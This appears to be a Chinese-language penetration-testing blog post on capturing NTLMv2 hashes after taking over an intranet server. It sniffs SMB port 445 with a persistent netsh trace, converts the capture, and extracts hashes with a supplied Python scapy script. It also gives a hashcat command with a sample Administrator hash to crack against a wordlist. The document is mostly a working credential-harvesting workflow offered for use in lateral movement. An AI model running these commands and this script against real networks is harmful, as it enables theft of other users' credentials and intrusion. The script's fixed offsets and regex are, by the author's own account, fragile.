在阅读且实验完wilsonlee1师傅的文章利用netsh抓取连接文件服务器的NTLMv2 Hash后,我发现了文章中一些没有提及的点以及PY脚本的编写"BUG",因此打算自己重新做一套从0到1完整的总结。
在这里我的标题是《监听445端口抓数据》,而原文是《利用netsh抓取连接文件服务器的NTLMv2 Hash》。w师傅在文章中主要讲述的针对目标是”文件服务器“,这是正确的。
但有时候可能会让实践少的同行陷入一种拿到了文件服务器后才用这种方法的错觉。那样想会误导的,在笔者实战遇到小型局域网的时候。往往就是工作组之间互相分享,大家都是“文件服务器”所以我的标题改成了《监听445端口抓取数据》
适用场景:
当我们控制内网一台服务器以后,通过监听它自己的445共享文件端口,可以获取没有认证SMB服务机器的凭证信息。如果对方机器和文件服务器445连接还保持着,那样是不会进行NTLM认证的。只有没认证过的机器(亦或是认证过期)访问文件服务器才会抓取到。
借用w师傅的话就是获得了内网一个文件服务器权限,如何获得更多用户口令?
在文中我会根据自己的理解介绍如下内容:
windows平台中自带无需安装第三方依赖库进行网络抓包的方法
将数据包转换成pcap格式
使用Wireshark对数据包进行分析
修改原作者py提取出NTLMv2 Hash
Hashcat对NTLMv2 Hash破解
在SMB认证中我们了解到,当我们访问一个目标时会主动向对方发送自己的用户名和NTLM v2\v1 进行认证。我们只需要抓取445端口的相关认证信息即可,但是这里有一个问题。就是之前认证成功的用户再来访问我们的时候是不会再次认证的,所以我们获取不了。在第一时间只能获取没有登陆过本机SMB服务的认证信息,或者认证时间过程需要重新认证的这种!
win系统中自带的netsh中的trace功能能够实现不安装任何第三方依赖库,在命令行下进行抓包!
官方说明文档!
https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx
适用情况:
需要管理员权限
支持Win7、Server2008R2及以后的系统,但不支持Server2008
netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.20.1 keywords=ut:authentication
pass:切记"ipv4.address="改成本机IP,不然什么都抓取不到!!!
参数说明:
- capture=yes: 开启抓包功能
- persistent=yes: 系统重启不关闭抓包功能,只能通过Netsh trace stop关闭
- traceFile: 指定保存记录文件的路径
- overwrite=yes: 如果文件存在,那么对其覆盖
- correlation=no: 不收集关联事件
- protocol=tcp: 抓取TPC协议
- ipv4.address=192.168.62.130: 限定只抓和服务器IP相关的数据包
- keywords=ut:authentication: 关键字为ut:authentication
直接改完IP执行就行了,参数w师傅写的我也没怎么改。
Netsh trace stop
在这里我们需要手动关闭,参数说明中设置了“只能通过命令Netsh trace stop关闭”!
在关闭之后就会保存成.etl结尾的文件,还会生成一个.cab的文件。但是这里我们转换只需要用到.etl后缀文件!笔者脑子糊涂拿.cab去转换一直失败!
在这里.etl文件是没有办法直接打开的,需要使用win开发的 windows message analyzer 才能打开进行转换。
w师傅贴的 windows message analyzer 下载链接是微软官网的,但是现在好像取消了。我在这里用了别人百度云的链接
https://pan.baidu.com/s/1dE1pM2d
这个工具需要.net 4.5才能使用,笔者在这里使用win2012R2进行的安装。安装完后使用非常简单!
在这里点击OPNE将我们的etl文件导入进来就行了,然后稍等一会,等左下角变成Ready
变成Ready之后就可以依次点击File - Save as -Export,保存成cap包格式。但是这里会出现一个bug,就是会有这样的一个弹框。我们不用去管它,我测试的时候数据没有出现错误或遗失!
在这里我们已经拿到了.cap Wireshark可打开的格式,这时候打开再另存为.pcap格式就可以了。这种格式可以用py脚本去进行筛选!不过在这里笔者的修改脚本只支持获取V2 Hash!
在原作者的文章中详细的说明了这个脚本的相关部分,笔者不才对 scapy 模块理解的非常少。因此只是书写一下简单的过程和PY脚本BUG修改。
原作者的py代码大家可以去看一下,大体上看作者通过自己的脚本成功筛选除了NTLM v2 Hash 。在这里是不对的,因为 NTLM HASH部分不是固定的。会出现不同程度的偏移,笔者在测试过程中一开始弄不懂为什么提取错误。后通过大量时间去实验发现了这个问题,后我的解决方法是增加一个正则。
3.00000000000000000000000000000000000000000000000000(.*)
在这里说一个加正则的原因,笔者使用2008 2012 win7去进行测试。接发现在数据头部存在3000000000000000000000000000000000000000000000000000 但是在另一次实验中是3100000000000000000000000000000000000000000000000000,因此正则改成了那样子。如果你们使用我的脚本发现出不来数据,那肯定是正则的没有匹配到!想要对正则进行修改,需要手工使用wireshark进行提取熟悉字段后进行。在笔者的另外一篇破解NTLM的文章中写的相关的过程。
具体成果如下图所示
代码如下
#!/usr/bin/env python2.7 import re try: import scapy.all as scapy except ImportError: import scapy try: # This import works from the project directory import scapy_http.http except ImportError: # If you installed this package via pip, you just need to execute this from scapy.layers import http packets = scapy.rdpcap('NTLM_2.pcap') Num = 1 for p in range(len(packets)): try: if packets[p]['TCP'].dport ==445: TCPPayload = packets[p]['Raw'].load if TCPPayload.find('NTLMSSP') != -1: if len(TCPPayload) > 500: print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num)) Num = Num+1 print ("PacketNum: %d"%(p+1)) print ("src: %s"%(packets[p]['IP'].src)) print ("dst: %s"%(packets[p]['IP'].dst)) Flag = TCPPayload.find('NTLMSSP') ServerTCPPayload = packets[p-1]['Raw'].load ServerFlag = ServerTCPPayload.find('NTLMSSP') ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex") print ("ServerChallenge: %s"%(ServerChallenge)) DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16) DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256 DomainLength = DomainLength1 + DomainLength2 #print DomainLength DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength] DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0] DomainName = ''.join(DomainName) print ("DomainName: %s"%(DomainName)) UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16) UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256 UserNameLength = UserNameLength1 + UserNameLength2 #print UserNameLength UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength] UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0] UserName = ''.join(UserName) print ("UserName: %s"%(UserName)) NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16) NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256 NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2 # print NTLMResPonseLength NTLMResPonse = TCPPayload[Flag+140:Flag+140+NTLMResPonseLength].encode("hex") NTLMZONG = packets[p]['Raw'].load.encode("hex") # print NTLMZONG NTLM_FINDALL = re.findall('3.00000000000000000000000000000000000000000000000000(.*)',NTLMZONG) # print NTLM_FINDALL #print NTLMResPonse print "Hashcat NTLMv2:" print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLM_FINDALL[0][:32],NTLM_FINDALL[0][32:632])) # print(NTLMResPonse) except: pass
首先记住这里是NTLM v2,如果是v1则需要换代码。
hashcat -m 5600 Administrator::BJ:c3e0054e464f07fa:ee783fa6e8ceff8cb08471f197e65bc6:01010000000000007db2d91678bdd601d89d32f40af504700000000002000a004800410043004b00450001000800570049004e00370004001a006800610063006b0065002e0074006500730074006c006100620003002400770069006e0037002e006800610063006b0065002e0074006500730074006c006100620005001a006800610063006b0065002e0074006500730074006c0061006200070008007db2d91678bdd601060004000200000008003000300000000000000000000000003000004a8fe7c7179152d990b897f672c25cefa677f387edc9f732008c32632721ff420a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00320030002e00310034003100000000000000000000000000 password.list -o found.txt --force
参考链接:
https://xz.aliyun.com/t/1945